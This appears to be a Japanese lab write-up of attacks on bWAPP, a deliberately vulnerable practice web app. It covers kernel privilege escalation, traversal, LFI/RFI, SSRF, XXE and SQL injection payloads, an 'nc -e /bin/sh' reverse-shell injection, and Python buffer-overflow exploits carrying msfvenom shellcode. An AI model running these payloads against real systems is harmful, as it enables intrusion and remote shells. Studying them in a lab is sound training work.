以下の方法で絞り込みを行う

  • Linux kernel で2.6(今回は2.6.24)
  • Local Privilege
  • OSが32bit(i686とあるため)
  • 標的の環境ではRubyは動かないので.rbを排除
  • < 2.6.1を省く

ここまですればある程度目で見れるくらいに絞れる。あとは、

  • Ubuntuで8.04じゃないやつ(10.10とか)

等、矛盾するものを排除していく
注意点

  • Grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
  • Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
  • 一個ずつ消すときは、ファイル名で消す
  • 2.xみたいなのを消さないように気を付ける

今回絞れるだけ絞った結果が以下である
searchsploit "Privilege" -e | grep "linux kernel" -i | grep -e "2.6" -e "2.x" | grep -v "64/" | grep -v "< 2.6.1" | grep -v "Linux Kernel 2.6.3" | grep -v "< 2.6.7" | grep -e "<" -e ">" -e "/2." -e "2.x" | grep -v "42276" | grep -v "160.c" | grep -v "Bluetooth" -i | grep -v "< 2.6.22" | grep -v "< 2.6.24.1" | grep -v "2.6.17" | grep -v Process | grep -v "10.10" | grep -v "10.04" | grep -v ".rb" | grep -v "145.c" | grep -v "samba" -i | grep -v "2.4.0-test" | grep -v "Android" | grep -v "3.c" | grep -v "Ubuntu 12.04"
f:id:kakyouim:20200209150921p:plain
この結果とperl Linux_Exploit_Suggester.plの結果にsendpageが含まれているため試してみる
9435を試すと、以下のようにrootになれた!
f:id:kakyouim:20200209151101p:plain

Local Privilege Escalation (udev)

f:id:kakyouim:20200209151154p:plain
先ほど得られたsearchsploitの結果の中でUbuntuで絞ってみると、以下のようになる
f:id:kakyouim:20200209151315p:plain
udevadm --versionでudevが脆弱なバージョンかどうか確認すると、117となっているため脆弱であることがわかる
f:id:kakyouim:20200209151421p:plain
41886.cには以下のようにこのバージョンが脆弱であることが書いてある
f:id:kakyouim:20200209151503p:plain
8572.cには以下のようにExploitの手順が書かれているため、その通りに実行してみる
f:id:kakyouim:20200209151555p:plain
どうやら/tmp/runファイルに実行したいシェルスクリプトを書いておけば、それをroot権限で実行するようです
f:id:kakyouim:20200209151613p:plain
vimで以下のファイルを作成する。この際、itest^[:wq!みたいに書くと、testというファイルが作成される(^[はEscape)
f:id:kakyouim:20200209151719p:plain
./8572 2530を実行して、Kali側でnc -lvp 4445を実行すると以下のようにrootのShellがつながった!
f:id:kakyouim:20200209152045p:plain
ちなみに、/tmp/runに以下のように/bin/bashとしてもrootのシェルは立ち上がらなかった。なんでだろう?
f:id:kakyouim:20200209152153p:plain
ここで少してこずってしまったので、
"cve-2009-1185" AND "exploit" AND "linux" AND "kernel" AND "2.6."
みたいに絞り込んでGoogleで同じバージョンでExploitを検証してないかどうか確認するのがよさそう

ちなみに、dirty c0wのExploitも試してみる
f:id:kakyouim:20200209152239p:plain
成功している!
f:id:kakyouim:20200209152254p:plain
f:id:kakyouim:20200209152314p:plain
他にもいろいろあるかもしれないですね
注意
dirtycowを試したら必ずpasswdファイルを復元してください。
自分は復元忘れてて次回起動時にバグって再度入れなおす羽目になりました

Old, Backup & Unreferenced Files

f:id:kakyouim:20200209235158p:plain
どうやら、ここに載っているファイルがWebサーバ上でアクセスできるようになっており、ブルートフォースでそういう重要なファイルを見つけてくださいということのようです
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ
等を試してみます
f:id:kakyouim:20200209235342p:plain
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
あたりが使えそう??

Robots File

f:id:kakyouim:20200210002446p:plain
robots.txtでは、主にクローラーの制限を行う際に活用します。
例えば、User-Agentでクローラーの種類を指定して、その指定したクローラーが特定のファイルをクロールしないように、DisallowでファイルのURLパスを指定します。
なので、ここにDisallowとなっているディレクトリには重要な情報が含まれている可能性があるので見る価値あり
ちなみに、
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/common.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ/
ですべてのディレクトリをブルートフォースで確認できます
最後にFUZZ/のように/を入れるとディレクトリを探索、FUZZのように/を入れないとファイルを探索する

A6 - Sensitive Data Exposure

Base64 Encoding (Secret)

  • low
    f:id:kakyouim:20200210015928p:plain
    secretがURLEncode+Base64Encodeされてました
    f:id:kakyouim:20200210015951p:plain
  • medium,high
    SHA1ハッシュ化されてました
    f:id:kakyouim:20200210020041p:plain

BEAST/CRIME/BREACH

f:id:kakyouim:20200210020134p:plain
HTTPSの通信バージョンに脆弱性があるようですが詳しいことは何もわかりません
sslscan --no-failed --version 192.168.56.33:9443
f:id:kakyouim:20200210020250p:plain
nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
f:id:kakyouim:20200210020347p:plain
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443

 AVAILABLE PLUGINS
 -----------------

  SessionResumptionPlugin
  CompressionPlugin
  OpenSslCipherSuitesPlugin
  FallbackScsvPlugin
  CertificateInfoPlugin
  HttpHeadersPlugin
  RobotPlugin
  EarlyDataPlugin
  HeartbleedPlugin
  OpenSslCcsInjectionPlugin
  SessionRenegotiationPlugin



 CHECKING HOST(S) AVAILABILITY
 -----------------------------

   192.168.56.33:9443                      => 192.168.56.33 




 SCAN RESULTS FOR 192.168.56.33:9443 - 192.168.56.33
 ---------------------------------------------------

 * OpenSSL CCS Injection:
                                          OK - Not vulnerable to OpenSSL CCS injection

 * TLS 1.2 Session Resumption Support:
      With Session IDs:                  OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
      With TLS Tickets:                  OK - Supported

 * Session Renegotiation:
       Client-initiated Renegotiation:    VULNERABLE - Server honors client-initiated renegotiations
       Secure Renegotiation:              OK - Supported

 * SSLV2 Cipher Suites:
       Forward Secrecy                    INSECURE - Not Supported
       RC4                                INSECURE - Supported

     Preferred:
        None - Server followed client cipher suite preference.                                                            
     Accepted:
        SSL_CK_RC4_128_WITH_MD5                                          128 bits                                                                  
        SSL_CK_RC4_128_EXPORT40_WITH_MD5                                 40 bits                                                                   
        SSL_CK_RC2_128_CBC_WITH_MD5                                      128 bits                                                                  
        SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5                             40 bits                                                                   
        SSL_CK_DES_64_CBC_WITH_MD5                                       56 bits                                                                   
        SSL_CK_DES_192_EDE3_CBC_WITH_MD5                                 112 bits                                                                  

 * TLSV1_3 Cipher Suites:
      Server rejected all cipher suites.

 * Deflate Compression:
                                          VULNERABLE - Server supports Deflate compression

 * TLSV1_2 Cipher Suites:
      Server rejected all cipher suites.

 * TLSV1_1 Cipher Suites:
      Server rejected all cipher suites.

 * Certificate Information:
     Content
       SHA1 Fingerprint:                  ae5fb7be864a78e168318fc1c96a4bd242c4e6c3
       Common Name:                       bee-box.bwapp.local
       Issuer:                            bee-box.bwapp.local
       Serial Number:                     15617680085524193115
       Not Before:                        2013-04-14 18:11:32
       Not After:                         2018-04-13 18:11:32
       Signature Algorithm:               sha1
       Public Key Algorithm:              RSA
       Key Size:                          1024
       Exponent:                          65537 (0x10001)
       DNS Subject Alternative Names:     []

     Trust
       Hostname Validation:               FAILED - Certificate does NOT match 192.168.56.33
       Android CA Store (9.0.0_r9):       FAILED - Certificate is NOT Trusted: self signed certificate
       Apple CA Store (iOS 12, macOS 10.14, watchOS 5, and tvOS 12):FAILED - Certificate is NOT Trusted: self signed certificate
       Java CA Store (jdk-12.0.1):        FAILED - Certificate is NOT Trusted: self signed certificate
       Mozilla CA Store (2019-03-14):     FAILED - Certificate is NOT Trusted: self signed certificate
       Windows CA Store (2019-05-27):     FAILED - Certificate is NOT Trusted: self signed certificate
       Symantec 2018 Deprecation:         OK - Not a Symantec-issued certificate
       Received Chain:                    bee-box.bwapp.local
       Verified Chain:                    ERROR - Could not build verified chain (certificate untrusted?)
       Received Chain Contains Anchor:    ERROR - Could not build verified chain (certificate untrusted?)
       Received Chain Order:              OK - Order is valid
       Verified Chain contains SHA1:      ERROR - Could not build verified chain (certificate untrusted?)

     Extensions
       OCSP Must-Staple:                  NOT SUPPORTED - Extension not found
       Certificate Transparency:          NOT SUPPORTED - Extension not found

     OCSP Stapling
                                          NOT SUPPORTED - Server did not send back an OCSP response

 * TLSV1 Cipher Suites:
       Forward Secrecy                    INSECURE - Not Supported
       RC4                                INSECURE - Supported

     Preferred:
        None - Server followed client cipher suite preference.                                                            
     Accepted:
        TLS_RSA_WITH_RC4_128_SHA                                         128 bits                                                                  
        TLS_RSA_WITH_RC4_128_MD5                                         128 bits                                                                  
        TLS_RSA_WITH_DES_CBC_SHA                                         56 bits                                                                   
        TLS_RSA_WITH_AES_256_CBC_SHA                                     256 bits                                                                  
        TLS_RSA_WITH_AES_128_CBC_SHA                                     128 bits                                                                  
        TLS_RSA_WITH_3DES_EDE_CBC_SHA                                    112 bits                                                                  

 * Downgrade Attacks:
       TLS_FALLBACK_SCSV:                 VULNERABLE - Signaling cipher suite not supported

 * SSLV3 Cipher Suites:
       Forward Secrecy                    INSECURE - Not Supported
       RC4                                INSECURE - Supported

     Preferred:
        None - Server followed client cipher suite preference.                                                            
     Accepted:
        TLS_RSA_WITH_RC4_128_SHA                                         128 bits                                                                  
        TLS_RSA_WITH_RC4_128_MD5                                         128 bits                                                                  
        TLS_RSA_WITH_DES_CBC_SHA                                         56 bits                                                                   
        TLS_RSA_WITH_AES_256_CBC_SHA                                     256 bits                                                                  
        TLS_RSA_WITH_AES_128_CBC_SHA                                     128 bits                                                                  
        TLS_RSA_WITH_3DES_EDE_CBC_SHA                                    112 bits                                                                  

 * OpenSSL Heartbleed:
                                          OK - Not vulnerable to Heartbleed

 * ROBOT Attack:
                                          OK - Not vulnerable


 SCAN COMPLETED IN 15.45 S
 -------------------------

./o-saft.pl +check -v 192.168.56.33:9443
f:id:kakyouim:20200210020453p:plain
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
f:id:kakyouim:20200210020523p:plain

./o-saft.tcl
f:id:kakyouim:20200210020551p:plain

./testssl.sh -U 192.168.56.33:9443

###########################################################
    testssl.sh       3.1dev from https://testssl.sh/dev/
    (6da6335 2020-02-08 10:32:46 -- )

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2k-dev)" [~179 ciphers]
 on kali:./bin/openssl.Linux.x86_64
 (built: "Jan 18 17:12:17 2019", platform: "linux-x86_64")


 Start 2020-02-09 11:50:19        -->> 192.168.56.33:9443 (192.168.56.33) <<--

 rDNS (192.168.56.33):   --
 Service detected:       HTTP


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension
 CCS (CVE-2014-0224)                       VULNERABLE (NOT ok)
 Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK), session IDs were returned but potential memory fragments do not differ
 ROBOT                                     not vulnerable (OK)
 Secure Renegotiation (RFC 5746)           supported (OK)
 Secure Client-Initiated Renegotiation     VULNERABLE (NOT ok), DoS threat
 CRIME, TLS (CVE-2012-4929)                VULNERABLE (NOT ok)
 BREACH (CVE-2013-3587)                    potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested
                                           Can be ignored for static pages or if no secrets in the page
 POODLE, SSL (CVE-2014-3566)               VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention NOT supported and vulnerable to POODLE SSL
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    VULNERABLE, uses 64 bit block ciphers for SSLv2 and above
 FREAK (CVE-2015-0204)                     VULNERABLE (NOT ok), uses EXPORT RSA ciphers
 DROWN (CVE-2016-0800, CVE-2016-0703)      VULNERABLE (NOT ok), SSLv2 offered with 6 ciphers
                                           Make sure you don't use this certificate elsewhere, see:
                                           https://censys.io/ipv4?q=FF29B36FCC813AE5B2100D985E692A612DE6F15570374320F85B43076CF08163
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no DH key detected with <= TLS 1.2
 BEAST (CVE-2011-3389)                     SSL3: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA 
                                           TLS1: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA 
                                           VULNERABLE -- and no higher protocols as mitigation supported
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches
 RC4 (CVE-2013-2566, CVE-2015-2808)        VULNERABLE (NOT ok): RC4-SHA RC4-MD5 RC4-MD5 EXP-RC4-MD5 


 Done 2020-02-09 11:50:56 [  41s] -->> 192.168.56.33:9443 (192.168.56.33) <<--

要するに、暗号化が脆弱ってことかな?(なんもわからん)

A7 - Missing Functional Level Access Control

Directory Traversal – Directories

  • low
    f:id:kakyouim:20200210181625p:plain
    f:id:kakyouim:20200210181644p:plain
    documentsとなっているところを書き換える
    f:id:kakyouim:20200210181709p:plain
    f:id:kakyouim:20200210181721p:plain
  • medium
    directory_traversal_2.php?directory=file://のように書く
    f:id:kakyouim:20200210181750p:plain

Directory Traversal – Files

  • low
    f:id:kakyouim:20200210181838p:plain
    directory_traversal_1.php?page=../../../etc/passwd
    f:id:kakyouim:20200210181903p:plain
  • Medium
    directory_traversal_1.php?page=file:///etc/passwd

SQLiteManager Local File Inclusion

f:id:kakyouim:20200210182023p:plain
searchsploit sqlite | grep 1.2
f:id:kakyouim:20200210182045p:plain
f:id:kakyouim:20200210182101p:plain
f:id:kakyouim:20200210182115p:plain

Remote & Local File Inclusion (RFI/LFI)

  • low
    f:id:kakyouim:20200210182145p:plain
    rlfi.php?language=lang_en.php&action=go
    となっており、PHPファイルをIncludeしていることがわかる
    rlfi.php?language=../../../../etc/passwd&action=goで成功!
    f:id:kakyouim:20200210182254p:plain
  • medium
    同じことをすると以下のerror
    f:id:kakyouim:20200210182359p:plain
    rlfi.php?language=../../../../etc/passwd%00&action=go
    %00のヌルバイトを入れる
<?php
if(isset($_GET["language"]))
{
    if($_COOKIE["security_level"] == "2")
    {
         if(in_array($language, $available_languages)) include($language);
    }
    else
    {
        include($language);
    }
}
?>
if(isset($_GET["language"]))
{
    switch($_COOKIE["security_level"])
    {
        case "0" :
            $language = $_GET["language"];
            break;
        case "1" :
            $language = $_GET["language"] . ".php";
            break;
        case "2" :
            $available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
            $language = $_GET["language"] . ".php";
            // $language = rlfi_check_1($language);
            break;
        default :
            $language = $_GET["language"];
            break;
    }
}

Server Side Request Forgery (SSRF)

f:id:kakyouim:20200210211504p:plain
RFIを用いたSSRFは前の問題のページを使う
ssrf-1.txtをダウンロードする
(ssrf-1.phpというファイル名で保存してRFIしたが成功しなかった。なぜだ?)

<?php

/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

© 2013 MME BVBA. All rights reserved.

*/
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    $results = array();
    
    foreach($ports as $port)
    {
        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {
            $results[$port] = true;
            fclose($pf);            
        }        
        else
        {
            $results[$port] = false;        
        }
    }
    foreach($results as $port=>$val)
    {
        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";
        if($val)
        {
            echo "<span style=\"color:green\">OK</span><br/>";
        }
        else
        {
            echo "<span style=\"color:red\">Inaccessible</span><br/>";
        }
    }
}
?>

rlfi.php?ip=192.168.56.5&language=http://192.168.56.5/share/ssrf-1.txt&action=go
bWAPPアプリケーションからしか見えないようなネットワーク上のホストに対してポートスキャンができている!(今回はKaliをポートスキャンしているが)
f:id:kakyouim:20200210211606p:plain

XXEiを用いたSSRFは次の問題のページを使う
次に記す

XML External Entity Attacks (XXE)

f:id:kakyouim:20200210212227p:plain
Burpでリクエストの内容を確認するとXMLがPOSTされている

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.56.33
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.33/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 59
Connection: close
Cookie: security_level=0; PHPSESSID=f9ff717d145019ee9534c77dbf15fcf7

<reset><login>bee</login><secret>Any bugs?</secret></reset>

BurpのXMLの欄で、POSTの内容を以下に書き換える

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

成功している!
f:id:kakyouim:20200210212428p:plain
ソースコードは以下の通り

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
    ini_set("display_errors",1);
    $xml = simplexml_load_string($body);
    // Debugging
    // print_r($xml);
    $login = $xml->login;
    $secret = $xml->secret;
    if($login && $login != "" && $secret)
    {
        // $login = mysqli_real_escape_string($link, $login);
        // $secret = mysqli_real_escape_string($link, $secret);
        
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        // Debugging
        // echo $sql;      
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!";
    }
}
// If the security level is MEDIUM or HIGH
else
{
    // Disables XML external entities. Doesn't work with older PHP versions!
    // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);
    // Debugging
    // print_r($xml);
    $login = $_SESSION["login"];
    $secret = $xml->secret;
    if($secret)
    {
        $secret = mysqli_real_escape_string($link, $secret);
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        // Debugging
        // echo $sql;      
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!"; 
    }
}

に入力したものが、XML解析されて、その結果がそのまま表示されることが脆弱。
Mediumでは表示するものはSESSION[]からとってきているため、ファイルがみられることはない。
ソースコードを見る限り、lowではsecretでBlind SQLInjetionが可能に見えるので試す
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
で成功!
f:id:kakyouim:20200210212738p:plain

また、XXEiで表示するコンテンツに<が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


また、CVE-2013-4890により、bWAPPアプリケーションを使ってDOS攻撃ができる
f:id:kakyouim:20200210213007p:plain
f:id:kakyouim:20200210213055p:plain
参考文献
[https://canyoupwn.me/tr-xml-external-entity-xxe/?cf_chl_jschl_tk=9cba495907f43e11adaca79edd901008cd761095-1581331599-0-AeVtOLQ7W1iFzYapK2sPvn1o9dzyzq9IcRv1TYcc05_e5Y6p5orP8NftJV2UYW_7Kyr9U7WnOWNZCSCA92Q7nU3rNyTo3GUO-Y4s07Yrymqu3MY_knZQjIBeIgAcAxl1xxc7wMVWIpP0gM4UrTcFRDePtXqqeEpdameHnsY7_7G9ZwcYpMlu4uH3YFqpa7FxyRq2wQARUpA8oYyXU98JhP6cpM-fM-nHjdyi01Gy31QqqwllhgNB51IOP9SJ2yAA6Lt852gsMNle8rOL51ACKrxVDmwdaLeNKT3468skykdGWJM9elFsE5wJg6aG-dnJTQ]
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

A9 - Using Known Vulnerable Components

Buffer Overflow (Local)

f:id:kakyouim:20200211163117p:plain
lowではOSコマンドインジェクションができる
POSTの値を以下にするとシェルが得られた
title=$(nc -e /bin/sh 192.168.56.5 4444)&action=search

BOFの調査をしていく。対象のファイルはbWAPP/apps/movie_searchなので先ほど得られたシェルからgdbなどでデバッグする
まずは、EIPが入力文字列の何文字目かを調査する
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
f:id:kakyouim:20200211163445p:plain
gdb --args ./movie_search "今の文字列”
f:id:kakyouim:20200211163524p:plain
EIPには0x41386c41が代入されている!
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
f:id:kakyouim:20200211163631p:plain
これで、EIPを任意のアドレスにJMPさせることが可能になった。
次は、そのJMP先を自分で作成するペイロードなどにに設定する
radare2 ./movie_search
で何かほかにJMPさせられそうな関数はないか調べる。
今回はなかった
gdb上でペイロード送信後にespに代入されているアドレスに格納されている値を確認すると、19Amとなっており、このオフセットを確認すると、358である
f:id:kakyouim:20200211164409p:plain
したがって、358文字目からespが指すアドレスに格納されており、ここからペイロードを開始して、EIPにjmp espを指定すればペイロードを実行できそうである
"A"*354 + "jmp esp" + "payload"が今回のExploitコードである
objdump -D -M intel movie_search | grep jmp | grep esp
f:id:kakyouim:20200211164904p:plain
次にmsfvenomを用いてペイロードを作成する
payload=linux/x86/exec, encoders=x86/opt_subを指定する
標準のEncoderはshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
cat payload.txt
f:id:kakyouim:20200211165217p:plain
このペイロードをURLエンコードする
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
(echo -n \'; cat payload.txt; echo -n \';)catの結果の前後に'を挿入して次のコマンドの入力とする
s/(.)で文字列を一バイトずつ$1に送信。
/でその文字列を置換する.
sprintf("%%%02X",ord($1))PerlでURLエンコード.
seg 一連の正規表現フラグ
f:id:kakyouim:20200211165305p:plain
ここで、'を挿入している理由は、

$output = shell_exec('/bin/sh /path/to/hoge.sh "'.$arg.'"')

と書くのが正常だが、ソースコードでは

echo shell_exec("./apps/movie_search " . $title);

となっているため、’’が必要だった。
こうして得られたペイロードを使用してExploitを作成する
f:id:kakyouim:20200211165811p:plain
f:id:kakyouim:20200211165823p:plain

ちなみに、msfvenomでpython形式で出力してURLエンコードしてもできる

use linux/x86/exec
set CMD /bin/ps
generate -b '\x00' -e x86/opt_sub -f py

f:id:kakyouim:20200211170053p:plain
pythonで正しくURLエンコードするには、
b"\x8f\x92\x04\x08"
とする必要がある
'\x8f\x92\x04\x08' ("\x8f\x92\x04\x08")ではだめだった

import urllib.parse
junk = "A"*354
ret2 = b"\x8f\x92\x04\x08"
buf =  b""
buf += b"\x54\x58\x2d\x05\xfd\xfd\xfd\x2d\x01\x01\x01\x01\x2d"
buf += b"\x01\x01\x01\x01\x50\x5c\x25\x01\x01\x01\x01\x25\x02"
buf += b"\x02\x02\x02\x2d\x75\x1c\x30\x7d\x2d\x01\x01\x01\x01"
buf += b"\x2d\x01\x01\x01\x01\x50\x2d\x14\xdf\x74\x2b\x2d\x01"
buf += b"\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x08\x90\x25"
buf += b"\xe1\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d"
buf += b"\x67\x6c\xfe\x0b\x2d\x01\x01\x01\x01\x2d\x01\x01\x01"
buf += b"\x01\x50\x2d\xac\x15\x24\x60\x2d\x01\x01\x01\x01\x2d"
buf += b"\x01\x01\x01\x01\x50\x2d\xe7\x77\x7d\x1a\x2d\x01\x01"
buf += b"\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x67\x04\x58\x7f"
buf += b"\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x96"
buf += b"\x36\xba\xf7\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01"
buf += b"\x50\x2d\x39\xca\xe7\x7e\x2d\x01\x01\x01\x01\x2d\x01"
buf += b"\x01\x01\x01\x50\x2d\x92\x0e\x21\x7d\x2d\x01\x01\x01"
buf += b"\x01\x2d\x01\x01\x01\x01\x50\x2d\x07\xe6\x58\x0e\x2d"
buf += b"\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50"
print(urllib.parse.quote("'" + junk) + urllib.parse.quote(ret2) + urllib.parse.quote(buf) + "'")

f:id:kakyouim:20200211170129p:plain

Buffer Overflow (Remote)

f:id:kakyouim:20200212002329p:plain
nmap -p1-1024 192.168.56.33 -T5
f:id:kakyouim:20200212002356p:plain
666ポートが対象のポートである
f:id:kakyouim:20200212002432p:plain
localと同様にExploitする。ペイロードとして、

linux/x86/shell/reverse_tcp
を使用してみる

use linux/x86/shell/reverse_tcp
set LHOST 192.168.56.5
generate -b '\x00' -f py

f:id:kakyouim:20200212002613p:plain
以上より、Exploitは以下の通りである

import sys
import socket
host = "192.168.56.33"
port = 666

junk = b"A" * 354
ret_addr = b"\xa7\x8f\x04\x08"
nop = b"\x90" * 16
buf =  b""
buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c"
buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2"
buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a"
buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1"
buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13"
buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48"
buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b"
buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed"
buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22"
buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70"
buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66"
buf += b"\x98\x4d\x19\x66\xde\x80\x99"

print("Sending payload....")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + ret_addr + nop + buf)
s.close()

これを実行すると、4444ポートでリバースシェルが得られた!
f:id:kakyouim:20200212002742p:plain

また、linux/x86/shell_bind_tcpでも試してみる

use linux/x86/shell_bind_tcp
set RHOST 192.168.56.33
generate -b '\x00' -f py

このペイロードは標的でポートを開けて、そこにncで接続することでシェルを得る
f:id:kakyouim:20200212003059p:plain
nc 192.168.56.33 4444
不完全なシェルが得られている
f:id:kakyouim:20200212003120p:plain
f:id:kakyouim:20200212003158p:plain
実行できるものもあれば正常にできてないものもある

これでもできる

Heartbleed Vulnerability

  • low
    f:id:kakyouim:20200212172218p:plain
    OpenSSLとは、オープンソースの暗号ソフトウェアライブラリで、サーバー などがSSL/TLSと呼ばれる暗号方式を利用するために使用される
    OpenSSLは、ApacheやNginxといったウェブサーバーに使われており、他に もSSL通信を行うアプリケーションなどに広く使われている
    Heart bleed脆弱性は、ペイロードを送信することでWebサーバーのメモリの一部を取得できるらしい。
  • sslscan --no-failed --version 192.168.56.33:8443
    なぜかHeart Bleedを検出できていない
    f:id:kakyouim:20200212172548p:plain
  • ./o-saft.tcl
    f:id:kakyouim:20200212172615p:plain
  • ./testssl.sh -U 192.168.56.33:8443
    f:id:kakyouim:20200212172643p:plain
  • nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
    f:id:kakyouim:20200212173012p:plain
  • /usr/share/exploitdb/exploits/multiple/remote/32745.py
    searchsploitの結果、これを使用してみる
    f:id:kakyouim:20200212172741p:plain
    • /usr/share/exploitdb/exploits/multiple/remote/32745.py 192.168.56.33 -p 8443
      メモリの一部が読み取れている!
      f:id:kakyouim:20200212172857p:plain
      f:id:kakyouim:20200212172913p:plain
  • msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.56.33
set RPORT 8443
set verbose true
exploit

f:id:kakyouim:20200212173104p:plain
参考文献

https://www.symantec.com/content/ja/jp/enterprise/images/outbreak/Heartbleed_vulnerability.pdf
https://net123.tistory.com/547

PHP CGI Remote Code Execution

f:id:kakyouim:20200212173156p:plain
リンク先に移動してみると、以下のページになる。
f:id:kakyouim:20200212173350p:plain
PHPコードの実行方法にはModule方式とCGI方式の二つある。

  • Module方式
  • Module方式では、apacheなどのWEBサーバに組み込まれているmodule (mod_phpなど)がPHPコードを外部実行する。
    一般的なものはこれ。apache mod_phpの実行権限でphpが動作するためPHPコードによって権限を分けることができない。
  • CGI方式
